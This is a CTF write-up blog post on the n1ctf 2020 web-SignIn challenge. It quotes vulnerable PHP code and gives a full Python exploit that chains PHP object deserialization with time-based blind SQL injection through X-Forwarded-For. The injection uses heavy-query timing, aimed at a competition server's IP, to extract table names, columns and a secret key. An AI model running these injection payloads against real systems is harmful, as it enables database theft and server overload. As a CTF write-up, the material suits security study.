The only problem I solved in n1ctf 2020 is web-SignIn, the easiest web chall.
Approach
It provided us the source code without some details.
<?php
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
Mysql database password and key value are blurred. We can guess what we should do is to get the key code.
We can execute mysql query by triggering __toString function in ip class. The stristr may internally trigger __toString function of $this->ip. By providing ip object in flag's member variable "$ip", we can trigger the SQL query.
Error based SQL Injection
I think, if I can make mysql error message with string "n1ctf", we can get feedback "welcome to n1ctf2020", otherwise, "noip". So, I tried hard to get custom error message, to Blind SQL Injection.
Just triggering error message is not difficult, but triggering error message up to result of SQL subquery was very hard. So, I surrender to do that, I tried another approach.
Time based SQL Injection
Some keywords are filtered by server. Below 3 are obviously filtered keywords
- sleep
- benchmark
- count
Also, I thought the comment meta char like - and # are filtered also.
Because of limited debugging environment, I should guess the server filter keywords with a little information.
Conventional Time based SQLi gadgets are all blocked, I tried another approch, the heavy query.
Insert into n1ip query repeates many times, thus, just lookup the table takes some times.
Limits
Because of many call of heavy queries, server downed repeatedly. I tried hard time to endure that phase. If there is more sophisticated exploit like error based attack, please let me know with comments!
Exploit
From fetching table schema where the key located, to get the key from the database.
Insert key value to $flag->check, you can get the real flag.
#!/usr/bin/env python3
import requests
import sys
url = """http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";s:9:"127.0.0.1";}s:5:"check";N;}"""
headers = {
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
}
def query(payload):
global headers
headers["X-Forwarded-For"] = payload
try:
response = requests.get(url, headers=headers, timeout=1.5)
except requests.exceptions.ReadTimeout:
print ("Time out!! 1.5")
return False
seconds = response.elapsed.total_seconds()
# print (response.text)
if "hackhack" in response.text:
print ("Keyword filtered!")
print (seconds)
return True
print (query("Hello"))
heavyQuery = "select sum(A.time)from n1ip A, n1ip B"
print (query("asdf',({})),('a".format(heavyQuery)))
# sys.exit()
def db_name_length():
left = 0
right = 50
#[left, right)
while left + 1 < right:
mid = (left+right)//2
print ('querying {} {} {}'.format(left, mid, right))
if query("asdf',IF((length(database())>={}),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
left = mid
else:
right = mid
return left
def table_list_length():
left = 0
right = 100
#[left, right)
while left + 1 < right:
mid = (left+right)//2
print ('querying {} {} {}'.format(left, mid, right))
if query("asdf',IF((select length((GROUP_CONCAT((TABLE_NAME))))>={} from information_schema.tables where table_schema='n1ctf_websign'),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
left = mid
else:
right = mid
return left
def table_list_char(len):
res = ""
for i in range(1,len+1):
left = 0
right = 256
#[left, right)
while left + 1 < right:
mid = (left+right)//2
print ('querying {} {} {}'.format(left, mid, right))
if query("asdf',IF((select ascii(substr((GROUP_CONCAT((TABLE_NAME))),{},1))>={} from information_schema.tables where table_schema='n1ctf_websign'),'1',(select sum(A.time)from n1ip A))),('a".format(i, mid)):
left = mid
else:
right = mid
res += chr(left)
print (res)
return res
def get_col_len():
left = 0
right = 100
#[left, right)
while left + 1 < right:
mid = (left+right)//2
print ('querying {} {} {}'.format(left, mid, right))
if query("asdf',IF((select length(GROUP_CONCAT(COLUMN_NAME))>={} from information_schema.columns where table_schema='n1ctf_websign' and table_name='n1key'),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
left = mid
else:
right = mid
return left
def get_cols(len):
res = ""
for i in range(1,len+1):
left = 0
right = 256
#[left, right)
while left + 1 < right:
mid = (left+right)//2
print ('querying {} {} {}'.format(left, mid, right))
if query("asdf',IF((select ascii(substr((GROUP_CONCAT((COLUMN_NAME))),{},1))>={} from information_schema.columns where table_schema='n1ctf_websign' and table_name='n1key'),'1',(select sum(A.time)from n1ip A))),('a".format(i, mid)):
left = mid
else:
right = mid
res += chr(left)
print (res)
return res
def get_key_len():
left = 0
right = 100
#[left, right)
while left + 1 < right:
mid = (left+right)//2
print ('querying {} {} {}'.format(left, mid, right))
# if query("asdf',IF((select length(`key`)>={} from n1key limit 1),'1',({})),('a".format(mid, heavyQuery)):
if query("asdf',IF((select length(GROUP_CONCAT(`key`))>={} from n1key limit 1),'1',({})),('a".format(mid, heavyQuery)):
left = mid
else:
right = mid
return left
def get_key(len):
res = ""
for i in range(1,len+1):
left = 0
right = 256
#[left, right)
while left + 1 < right:
mid = (left+right)//2
print ('querying {} {} {}'.format(left, mid, right))
# if query("asdf',IF((select ascii(substr(`key`)),{},1))>={} from n1key limit 1),'1',({}))),('a".format(i, mid, heavyQuery)):
if query("asdf',IF((select ascii(substr((GROUP_CONCAT((`key`))),{},1))>={} from n1key limit 1),'1',({}))),('a".format(i, mid, heavyQuery)):
left = mid
else:
right = mid
res += chr(left)
print (res)
return res
# print ("db_name_length = {}".format(db_name_length())) #for query validation check
# table_list_length = 9
# table_length = table_list_length()
# print ("table_list_length = {}".format(table_length))
# table_string = "n1ip,n1key"
# table_string = table_list_char(table_length)
# print ("table_string = {}".format(table_string))
# col_len = get_col_len()
# print ("col_len = {}".format(col_len))
# cols = get_cols(col_len)
# cols = "id/key"
# print ("cols = {}".format(cols))
key_len = get_key_len()
print("key_len = {}".format(key_len))
key = get_key(key_len)
print ("key = {}".format(key))
"""
key length는 왜인지 모르겟는데 제대로 못가져옴.
key값은
n1ctf20205bf75ab0a30dfc0c
길이 25
"""
'해킹 & 보안 > CTF Write-ups' 카테고리의 다른 글
[2020 bisc OpenCTF] web challenge write-ups (pw=ctf-domain) (0) | 2020.11.29 |
---|---|
[Hack.lu CTF 2020] Web - FluxCloud Serverless (1.0 & 2.0), Confession Write-up (0) | 2020.10.26 |
NahamCON CTF 2020 Write ups (0) | 2020.06.16 |
[HSCTF 2020] Algorithm- Alien, Web - Broken Token write-up (0) | 2020.06.09 |
[Defenit CTF 2020] Misc - Puzzle write-up (0) | 2020.06.09 |